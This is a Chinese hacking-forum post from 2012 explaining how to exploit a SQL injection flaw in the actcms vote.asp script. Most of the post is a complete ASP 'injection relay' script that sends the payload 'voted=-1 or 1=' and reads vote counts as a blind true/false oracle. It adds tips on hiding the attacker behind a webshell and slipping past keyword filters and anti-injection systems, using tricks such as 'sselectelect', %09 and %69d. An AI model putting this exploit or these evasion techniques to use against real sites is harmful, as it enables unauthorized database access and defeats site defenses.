找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2118|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

  I' u$ Z5 K! O3 b$ x7 [1 y看到ninty大牛的blog的一篇文章
5 I1 l& K- V9 b+ a2 J链接标记[url]http://www.forjj.com/?action=show&id=80[/url]% ^& Y. t9 ?; p3 R
关于actcms漏洞的利用  by 3x qq:3818625896 ]! c2 s8 v4 U& t
转载请注明以上8 b+ t! ?3 \1 f( K7 T8 k
漏洞文件:
+ w' H+ x) Z, n. T! w/plus/vote/vote.asp" ^' o- V: S  E- z( s" Y
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
$ s* r* q, t- J% V% a
; K' c$ r" D2 d+ t: ~2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   / ~8 t/ V2 n# m) i1 @

  j) ]* C& E) p5 j3    response.end   
: g2 B7 D3 C/ h1 r7 E! g1 C; k+ F3 U2 W/ R6 X: O) q7 V9 j$ z
4    end if   
2 `4 W  I2 h& O) h9 e# F3 z5 s+ l& ?7 w
5    for i=1 to request("voted").count    : H- U& i# s) n; N' F* R
# a7 w& U! {, I+ D
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    6 W2 N/ k2 L9 T" W6 ]6 F
" A1 c" Q$ I! K4 b5 v* }' X+ {
7    next    9 e. o! f) h& }( J. n' N

8 Z, p; ]6 f1 p- i  K( _" k9 L8....   
% g! M5 y' X# S/ k+ w# S4 y2 }. i
  U: J0 w% A0 g0 Q. j8 Z% \% k  `9response.Redirect "index.asp?id="&id&""   
! N5 {* F8 c7 K4 \3 z  ~投票结束回跳转回index.asp这个投票结果页面
; J' I% h, L- x1 c  V7 Q; e如果投票成功票数加1, \% o! k! C4 w! O
            失败票数不变
- \' A7 A1 e7 j+ h如图:  O2 ^. t2 W+ T0 N+ o1 {: m+ {, v6 `
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)+ J, ^" H! Q% G, {
& Z4 Y& \4 u) @1 K
2009-12-27 13:20
; H$ ~1 y( u# A1 }% i& ?2 w3 f) b5 b  |6 @( d
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
3 e& G; i; L# }7 g) o( g# \6 l6 k7 K+ a* Z7 q3 B3 V+ m
本帖隐藏的内容需要回复才可以浏览
5 F% m: I. c6 o3 z0 g我们用注入中转来实现这个注入具体代码如下:
5 q- Y4 Q8 d& f5 H' {5 |9 [% t2 ^( {先用寂寞的刺猬大牛的注入中转生成jmget.asp( u. Q; ^( t8 b: q) T/ \. n) M
注入地址:http://localhost/actcms/plus/vote/vote.asp
7 B1 J1 B0 O' S2 m& m  r  L注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项' o7 h3 o  D+ a
1 g- E, Y2 L1 _" _+ p* A# k* H
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 1 x+ e: I1 L2 ]" `
6 W0 I! d8 [. K7 d
02JmdcwName=request("jmdcw") : J- M) ?- W" _+ U# f( }

/ u! i( ?5 n. P! z; `' x0 p03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
2 m' n, B8 P0 \) L/ D7 s) |! |' _; h/ B
04JmStr="id=1&voted=-1 or 1="&JmdcwName
! |' q% t& e- F+ S! G' p; y! k, r) I( w+ r/ ?
05JmStr=URLEncoding(JmStr)
/ _3 A1 v7 f5 R, L. {, G! [  k* q; ~
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
8 S. b/ Y9 M. g# H2 l
4 Q5 J+ Y: Q% R07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
0 C' }6 M- e' T, ?# ?/ i; o% {9 d% ^
08testurl=testurl & "?" & JmStr
) f; X. n) j6 F* x* N9 j
1 Y, q6 r& k2 i6 I( B09JMUrl=JMUrl & "?" & JmStr
- ^+ ]4 p8 ^# P9 K: }
2 S1 m( I3 v0 u8 M* [$ S10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
# f& e1 H# w! Y/ R9 z& z6 f
& z3 g4 E% Q6 i3 A5 m11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"& [, m. e# G8 ?/ m4 H4 l
/ t( F1 M/ a0 B
12JmCok=replace(JmCok,chr(32),"%20")  
# K( E; r) S& u. c. P. H( |: ?4 o( L* M' k: b* u6 L  L: e: N( n
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ) ~( D! @% @+ `

3 r& s0 c# u/ g$ O) M' O( k14  
) l9 m" Y2 ~: }8 r3 d
/ }: Q7 {: P8 }1 U; B/ N' n15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
, M6 L7 q) M. d- `2 B' i( V/ y
: @# E9 a* a/ z0 l+ p, T16  $ h+ N6 |/ ]" y. b5 Y
, Q0 G' U: N7 }! Z/ J1 }
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
# ]* \, c5 E3 d' M$ |( D  o) _/ X0 x# t. e
18response.write test1&""&test2&""
+ F" u6 H1 {5 L, x3 H7 m5 f
4 N) a8 F7 p+ }( O# T19  
; s& Q5 R* P& n  V  K' ?
6 y1 T! X/ D2 c0 {  r0 b) U20if test1=test2 then '如前后记录相等,表示失败 ) Q8 h! h" U( \% Y! P+ M, u

- u" l; o" e4 q3 @21  response.write "failed"; {0 ?4 E; W/ J& Z

" k' ]/ `! T3 t. E22else / u# o+ t; d1 ]. G. ~

# r1 r1 f6 ?# ]23  response.write "succeed"
2 s' M% u( J( W7 a' m  j4 u; p3 ^, ?+ Z9 {& v
24end if  ) h; e) h$ w  O) f2 d' Q

$ U  |8 y7 U: }+ Q. m# |, t; Q25  5 O4 e/ Z9 ?) K( s( o
8 v; |0 w) l9 U/ j; ~' ]/ z
26response.write "by 3x"
/ H- u$ ~5 f0 e' [' c% M  @7 O/ ?8 D2 p" J* V) R4 }+ h
27  # ?& x. o' y7 W* T# k$ q- H3 Z' o# k
: s, q* }# R; n
28  ! v: Z" X$ {: H) n. ?
7 L3 }* O8 K4 ]4 b
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   % y4 \) r. g; M! h: s) Y$ q

$ p, \0 C; Z  W# W  G30Dim Http ; U! g6 x2 [5 [3 ]0 ]% \0 R5 `

, y9 O, ]6 F# J! k& |31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") & k2 [  z1 K1 ^4 y! S# a/ t

; p. I8 O8 {, F32With Http   g# j' Y: A7 Z: w9 }6 a1 J
; c; `& N) y& o% S, {. e
33  
# F! m6 ~4 G+ @7 X* G. W$ X8 I# A5 N6 x
34.Open "GET",PostUrl,False
- R. @$ k3 z9 {
9 Z4 u8 {' F  g9 j! E% D$ @35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
" i: Q9 r" G. i$ b+ y
& f5 O% E. ?2 f9 q36.SetRequestHeader "Referer",PostRef   ~- r0 G, u+ b/ v- k* {3 y" |. y

  V$ Y4 i* r7 h" ~7 F37.SetRequestHeader "Cookie",PostCok 6 f: F2 d6 x) I) o
/ u2 A/ F. n% S' I* B3 f
38.Send ()
4 E+ I/ g$ v0 n1 k
( f2 c* V* o2 f  @39PostData = .ResponseBody ( ?7 l- p* q. h$ Q2 r2 f; j- X  m% W

& R8 ^# z7 h; T6 w40End With4 M" v! L( g& L' j

/ ]  ]- ~) T4 J8 X" `; l41Set Http = Nothing; G$ E+ L% x; P7 S- [

$ Q9 x+ R2 o) D# z: T, o42PostData =bytes2BSTR(PostData)
5 k/ Z4 s  D7 G) V8 D
6 X: V6 C' |& ?43End Function6 t; S( J$ l/ b6 i4 ?2 v. s
4 k2 Z: m- {! l. l
44  
# I2 ~: V8 v. ]
: e" v8 o. j* B5 _. }45  
; c% \2 V# \9 x: X& m$ B
0 b  O& @. ^. y0 {7 v46Function bytes2BSTR(vIn)
* K2 K) h# W( N3 F
/ ]9 U9 j5 A4 I2 f47Dim strReturn
$ z: a6 M, j# o8 D" C+ b3 |! s* q3 F% K% c  k+ q5 y- A! B
48Dim I, ThisCharCode, NextCharCode
  p: Z0 R4 }) ]! ]7 Y1 G2 q- P' o( ?0 e
49strReturn = ""  `5 m- ^' q& r# p# z4 C
2 v5 f$ v+ B) {8 T% {
50For I = 1 To LenB(vIn)
# F! p6 O+ ?, K5 \# J# @
  M1 ^! Z6 S1 O# j51ThisCharCode = AscB(MidB(vIn, I, 1)) 1 ]6 t( W  x* @6 c( x

  H( E- P  K8 g52If ThisCharCode < &H80 Then/ [" d8 V9 G, R/ h4 \& f: V

' @" R9 ~; A+ d53strReturn = strReturn & Chr(ThisCharCode)
4 H3 y' Z6 P/ c, h; U' |. U  P6 P4 h- T* U5 E
54Else# x% ~; A" D& p2 k0 a) F

) Q8 R6 V7 P% ]55NextCharCode = AscB(MidB(vIn, I + 1, 1)) ) j. x+ |" }' H+ U

5 f: Z& z% g# _% m9 S2 l% Q56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) , q- T! O* F9 H/ @% X+ n

) h' U. I7 s2 R6 X) }57I = I + 1 & ^: t8 f/ ?; e' N9 E

# b/ s, e: Y& ^. G- t& z% y3 {0 D. s58End If5 w8 ^4 A6 z* j& h" l

" x. a. |/ }, W: I& t59Next& p0 a+ O, S( g4 o7 t9 N

$ Z3 |+ \5 z1 m  i60bytes2BSTR = strReturn 3 b& C  F) H8 T# @6 v* x0 j

8 p- P. k. ~+ [3 ?+ V- n61End Function
# z! @7 b( U4 w6 F3 U+ B
' z0 ~) w) Y8 t$ j62  2 Q- t; G0 e: \2 W* F

& T. J9 r9 i" e# _, b  L5 a63Function URLEncoding(vstrin)  
7 d) }6 n0 r5 l! g6 C/ \: |
( v9 h  G1 Z! m64strReturn=""
0 }3 i% k4 |1 {7 x( A) |& u: i: T5 z
65Dim i
3 x" O9 _5 H5 ?
- A, g/ l  e& U$ H# u66For i=1 To Len(vstrin)   H2 m" B' p+ T

# F/ k: @0 Z2 {8 o67ThisChr=Mid(vstrin,i,1)
( Y6 Y$ j* N, O4 p5 H7 C8 _% F
$ ~- Z- x1 x: A68if Abs(Asc(ThisChr))< &HFF Then
) D6 q8 T0 b; k/ x2 `5 |4 A/ L4 y
8 D* G8 }+ D/ }( j, ?69strReturn=strReturn & ThisChr 1 y, _( _) W; g% h! q2 z" P

" _& _3 F% T0 ]$ e* j70Else
% p9 S# m; _) W7 w) t" a. `# O9 C  q
71InnerCode=Asc(ThisChr) : C; E) G6 P  Z' q7 n" \" R

- P" \( t6 ^1 n3 c' ^72If InnerCode<0 Then6 d0 j% S* X& _% ^/ ?
4 s0 n6 R0 _, u4 i$ ?8 S
73InnerCode=InnerCode + &H10000 7 x2 G1 a' C' r9 i' z  L- v
- n% g" ]- R6 |
74End If
: y2 O: I. T' G% F+ x  I6 [* e; l/ L; T/ P
75Hight1=(InnerCode And &HFF00) \&HFF   W& t8 |; l+ C! v# J# f; u

1 d5 a% Y" G9 \+ [76Low1=InnerCode And &HFF 2 c$ ^6 _" p4 `1 j

" s6 d# @' x9 G  c, g3 J77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) ; ^( P. s* y6 |! F; y

3 H  N& v6 E' d, Q$ X78End if ; S, A( \; o' I& F/ G2 o( a

) O) V/ p3 J+ l+ o79Next
& ?% }% Z/ s2 i% A: D7 q9 d* D. m+ a7 z
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 $ I6 ?2 l  G% J; I

$ `6 Q8 V! j2 F- A( Y; l& K81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 1 O. v8 c  X7 u/ k  J  S
0 i, K2 W7 R& d3 q  C
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
& q2 T% L  O. X" A, M2 x; G
/ D( P" f; V  R# g83URLEncoding=strReturn 7 b$ k1 s) [8 K/ j3 b% g  U# J

. d4 b% L7 ?. q2 X7 O* v2 h7 N* V84End Function$ v# K9 j+ d5 M  r( `6 H4 }

. R3 ^0 L8 a2 _3 E85  
0 d' C# m( g2 L
' i4 C; V( }" @9 u* b86function getSt(body) 3 t3 x: w1 P5 X& q: g5 T
. w8 g0 R% {7 S0 z, i
87  startpot=instr(body,"投票人数:")+len("投票人数:")
+ d' R4 ^0 i+ s+ Y! L' ^: B, W1 g$ N2 x* p
88  endpot=instr(startpot,body," ")
, l' A% q9 g" [9 v4 o6 V# q( z% Z8 c
89  getSt=mid(body,startpot,endpot-startpot)
9 ?/ b. K* i1 m! x" K5 w3 B+ a& Y; s/ r# V- W7 w6 n1 p
90end function 1 n3 {9 d  M4 f" z7 a$ q+ P
0 j6 I& o7 i' g
91%>6 ]5 C8 D( n- ]3 D5 \+ G
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了6 V  ^- z2 ~5 h
测试下效果:! @% G8 X9 T8 X4 q$ z1 B
投票成功:
, {9 Y7 s$ C  d3 R: j8 chttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
, K/ ]" i* C0 U, ^* R4 z
& Z9 q' X6 m7 i+ {* k/ Q/ K2009-12-27 13:29, _. X* H5 I* G+ U9 E( h7 _2 ]
投票失败
" [! g' S2 q- Rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)9 H( H6 i9 P' D/ R: H, {
0 B! j. [6 I5 f
2009-12-27 13:293 r; Q* x' @, s/ m3 \% Z+ Y
-------------------------------------------------------------------------------9 K7 v; A8 |2 [
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以4 j4 M& y0 g) P+ A, l
很抱歉。。。只能用单线程工具去注入。。。。。1 D$ m6 x5 u, I
所以失败。。。不好意思。。。# r8 \- w4 I  h7 K
-------------------------------------------------------------------------------. [8 v: V7 B  ?* c1 W. [; y9 X% R
9 p! Y7 \% ?- \- s: {
注入中转的一些其他应用
" ?7 @. b& n8 H4 t- ?& p其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
% x9 }7 l- y. _: }1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
9 E5 T. N% L9 A7 N* i8 L2.post注入转成get型的注入,方便我们使用工具来跑
8 a$ q; z% u' c) _( j3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")6 S% d7 r0 E6 F1 o! B) S! E
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
/ A9 p' w* d% c) @* C
0 A+ A# v' m0 F% J7 @5 E/ Z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表